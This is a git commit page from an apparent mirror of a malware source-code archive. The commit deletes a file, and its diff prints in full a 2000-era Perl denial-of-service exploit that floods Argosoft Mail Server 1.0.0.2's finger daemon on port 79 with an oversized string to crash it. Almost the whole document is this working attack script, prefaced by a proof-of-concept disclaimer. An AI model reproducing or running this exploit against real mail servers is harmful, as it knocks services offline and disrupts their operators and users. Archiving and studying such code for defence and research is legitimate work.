mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
Delete DoS.Perl.Chopsui
na
This commit is contained in:
parent
1753c18468
commit
0a96f6a1fe
@ -1,38 +0,0 @@
|
||||
#
|
||||
# Argosoft Mail Server 1.0.0.2 DoS
|
||||
# Chopsui-cide[MmM] 2000
|
||||
#
|
||||
# ----------------------------------------------------------
|
||||
# Disclaimer: this file is intended as proof of concept, and
|
||||
# is not intended to be used for illegal purposes. I accept
|
||||
# no responsibility for damage incurred by the use of it.
|
||||
# ----------------------------------------------------------
|
||||
#
|
||||
# This will cause Argosoft Mail Server 1.0.0.2 to page fault if the finger
|
||||
# daemon is running.
|
||||
#
|
||||
|
||||
use IO::Socket;
|
||||
|
||||
$host = "tr" ;
|
||||
$port = "79";
|
||||
|
||||
$count = 0;
|
||||
$sod = "";
|
||||
$len = 3000;
|
||||
while($count < $len) {
|
||||
$sod .= "X";
|
||||
$count += 1;
|
||||
}
|
||||
$sod .= "\@X";
|
||||
$count = 0;
|
||||
while($count < 5) {
|
||||
print "Connecting to $host:$port...";
|
||||
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "unable to connect.\n";
|
||||
print "done.\n";
|
||||
print $socket "$sod\x0a";
|
||||
sleep(5);
|
||||
close($socket);
|
||||
$count += 1;
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user